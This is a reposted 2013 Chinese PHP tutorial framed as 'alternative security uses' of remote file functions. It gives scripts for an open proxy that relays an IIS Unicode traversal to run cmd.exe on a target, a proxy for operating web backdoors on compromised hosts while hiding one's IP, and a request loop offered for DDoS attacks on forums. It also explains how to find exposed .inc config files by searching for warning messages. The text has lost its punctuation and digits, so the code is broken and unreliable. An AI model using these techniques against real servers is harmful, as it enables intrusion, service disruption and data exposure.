熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> PHP編程 >> 正文

PHP在安全方面的另類應用

2013-11-15 12:21:34  來源: PHP編程 

  .遠程文件
  
  PHP是一門具有豐富特性的語言它提供了大量函數使程序員能夠方便地實現各種功能遠程文件就是一個很好的例子
  代碼
  <?php
  $fp=@Fopen($urlr) or die (cannot open $url);
  while($line=@fgets($fp)) {
  $contents=$line;
  }
  echo $contents; //顯示文件內容
  fclose($fp); //關閉文件
  ?>
  
  以上是一段利用Fopen函數打開文件的代碼由於Fopen函數支持遠程文件使得它應用起來相當有趣將以上代碼保存為Proxyphp然後後提交
  
  代碼
  /proxyphp?url=
  
  
  這時候你會發現論壇下方顯示的IP地址變成了PHP腳本所處服務器的IP地址Fopen函數可以從任何其Web或FTP站點讀取文件事實上PHP的大多數文件處理函數對遠程文件都是透明的比如請求
  
  代碼
  /proxyphp?url=%c%c/winnt/system/cmdexe?/c+dir
  
  這樣實際上是利用了Target主機上的Unicode漏洞執行了DIR命令但並不是所有的服務器都支持遠程文件的功能如果你使用的是商業的服務器很可能會發現遠程文件使用不了(如的虛擬主機)這是因為在商業主機上限制遠程文件的功能往往能夠更好的保護服務器的正常運行你可以通過PHPinfo()查看服務器是否支持這種功能當然在PHPinfo()被禁用的情況下也可以使用Get_cfg_var()
  
  代碼
  <?php
  echo 是否允許使用遠程文件(allow_url_Fopen);
  ?php
  if (get_cfg_var(allow_url_Fopen)==)
  {
  echo(<font color=green><b>是</b></font>);
  }
  else echo(<font color=red><b>否</b></font>);
  ?>
  
  當Allow_url_Fopen一項參數為ON時即支持遠程文件的功能充分發揮遠程文件的特性我們可以實現許多特殊的功能如果你是用過PHP Flame的最新版本你會發現它在集文件夾復制文本搜索等功能的基礎上又增加了Web間文件傳輸的功能依靠這種功能你可以隨意將其他服務器上的文件傳送到你的Web目錄下而且在兩台服務器間傳送文件有著飛快的傳輸速度我們看看實現這個功能的代碼
  
  代碼
  <?php
  $fp = Fopen($_GET[filename] rb); //打開文件
  $data = $tmp = ;
  while ( true ) {
  $tmp = fgets($fp );
  if ( === strlen($tmp) ) {
  break; //跳出while循環
  }
  $data = $tmp;
  }
  fclose($fp); //關閉文件
  $file=preg_replace(/^+\//$filename);//轉換文件名
  //write
  $fp = Fopen($file wb); //生成文件
  fwrite($fp $data); //寫入數據
  fclose($fp);
  ?>
  
  在調用Fopen和Fwrite函數時加入b標記可以使這兩個函數安全運用於二進制文件而不損壞數據在以上腳本提交
  /downphp?filename=
  這時便會在Downphp的所處目錄下生成相應的Winrarzip文件如果再配合遍歷目錄的功能你將可以實現多個文件夾服務器間的傳輸但是遠程文件應該還有更大的發揮空間比如寫SQL Injection攻擊的自動腳本甚至是HTTP的代理服務
  
  代碼
  <?
  $url = getenv(QUERY_STRING);
  if(!ereg(^http$url)) //檢查輸入的URL格式
  {
  echo 例子<br>;br>;
  echo ?id=<br>;
  echo 當URL為目錄時需要在目錄後加入/;
  exit;
  }
  if($url)
  $url=str_replace(\\/$url);
  $f=@Fopen($urlr); //打開文件
  $a=;
  if($f)
  {
  while(!feof($f))
  $a=@fread($f); //讀取文件
  fclose($f);
  }
  $rooturl = preg_replace(/(+\/)(*)/i\\$url); //轉換根目錄
  $a = preg_replace(/(src[[:space:]]*=[\])([^h]*?)/is\\$rooturl\\$a);
  $a = preg_replace(/(src[[:space:]]*=)([^h\]*?)/is\\$rooturl\\$a); //轉換圖片地址
  $a = preg_replace(/(action[[:space:]]*=[\])([^h]*?)/is\\$php_self?$rooturl\\$a);
  $a = preg_replace(/(action[[:space:]]*=)([^h\]*?)/is\\$php_self?$rooturl\\$a); //轉換POST地址
  $a = preg_replace(/(<a+?href[[:space:]]*=[\])([^h]*?)/is\\$php_self?$rooturl\\$a);
  $a = preg_replace(/(<a+?href[[:space:]]*=[^\])([^h]*?)/is\\$php_self?$rooturl\\$a);//轉換鏈接地址
  $a = preg_replace(/(link+?href[[:space:]]*=[^\])(*?)/is\\$rooturl\\$a);
  $a = preg_replace(/(link+?href[[:space:]]*=[\])(*?)/is\\$rooturl\\$a); //轉換樣式表地址
  echo $a;
  exit;
  ?>
  
  在正則表達式的幫助下以上代碼能夠自行地將返回頁面中包含的鏈接和圖片進行轉換並把頁面內的鏈接自動提交到當前PHP腳本的$url中例如提交
  /proxyphp?
  腳本將會返回的內容
  
  當然這運用的絕對不僅僅是框架的技巧運用這個腳本你可以遠程操作安置在其他服務器的Web後門或者將肉雞做成一個簡單的HTTP代理從而更好的隱藏自己的IP如果使用PHP編寫CGI掃描工具你需要延長PHP的有效運行時間以下是兩種有效的方法當然你也可以將PHP代碼編譯成GUI界面從而解決這個問題設置PHP的有效運行時間為三分鐘
  
  代碼
  <? ini_set(max_execution_time*); ?>
  <? set_time_limit(*); ?>
  
  我們再看看這種功能在DDOS攻擊中的應用
  
  代碼
  <?php
  set_time_limit(*);
  $url=?userid=;
  for($i=;$i<=;$i++)
  {
  $urls=$url$i; //將$url與$i鏈接在一起
  $f=@Fopen($urlsr); //請求$urls
  $a=@fread($f); //取出部分內容
  fclose($f); //關閉$urls
  }
  ?>
  
  以上用For循環不斷地請求Userlistphp?userid=$i的內容($i的值每次都是不同的)但是打開後僅僅取出幾個字節便關閉這個腳本了PHP運行在虛擬主機上秒鐘便可以打開幾十個URL當同時運行多個進程時便有可能實現DDOS攻擊讓對方的論壇迅速崩潰
  
  限於版面遠程文件的內容就先說到這裡了如果你還有不明白的地方請參考以下的這篇文章《在PHP中使用遠程文件》
  
  .錯誤回顯
  
  PHP在默認的情況下打開錯誤回顯這樣可以便於程序員在調試腳本時發現代碼的錯誤但是這也往往使Web暴露了PHP的代碼和服務器的一些數據PHP對代碼的規范性要求比較嚴格以下是一種比較常見的錯誤回顯
  warning:file(data/\)no such file or
  directory in /usr/home//showphp on line
  這種錯誤回顯至少告訴了我們三個信息服務器的操作系統是LINUX服務器使用文本數據庫Showphp的第行代碼為file (/data//$)
  這種錯誤回顯已經足以成為一台服務器致命的漏洞從另一個利用的角度來看我們發現一般的PHP錯誤回都包含了warning字符但是這有什麼用呢?我們得先認識一下PHP的庫文件
  PHP的Include()和Require()主要是為了支持代碼庫因為我們一般是把一些經常使用的函數放到一個獨立的文件中這個獨立的文件就是代碼庫當需要使用其中的函數時我們只要把這個代碼庫包含到當前的文件中就可以了
  最初人們開發和發布PHP程序的時候為了區別代碼庫和主程序代碼一般是為代碼庫文件設置一個inc的擴展名但是他們很快發現這是一個錯誤因為這樣的文件無法被PHP解釋器正確解析為PHP代碼如果我們直接請求服務器上的這種文件時我們就會得到該文件的源代碼這是因為當把PHP作為Apache的模塊使用時PHP解釋器是根據文件的擴展名來決定是否解析為PHP代碼的擴展名是站點管理員指定的一般是php phpphp如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中那麼遠程攻擊者將容易得到這些信息
  按照以往的程序員的習慣往往會把一些重要的文件設定configinccooninc等形式如果我們在搜索引撃中搜索warning+configinc那麼你會發現許多網站都暴露了inc文件的代碼甚至包括許多商業和政府網站
  
  要關閉PHP的錯誤回顯通常有兩個方法第一個是直接修改Phpini中的設置這我們以前已經介紹過了第二種方法是在PHP腳本中加入抑制錯誤回顯的代碼你可以在調用的函數前函數加入@字符或者在PHP的代碼頂端加入error_reporting()的代碼要了解更多的內容請參考PHP手冊中的error_reporting一節
  
  .變量回顯
  
  WEN的安全問題主要集中變量的處理上對變量的處理不當會導致多種安全問題先看一下的例子
  
  代碼
  <td width=>
  <select name=face>
  <option value=gif>gif</option>
  <option value=gif>gif
From:http://tw.wingwit.com/Article/program/PHP/201311/20798.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.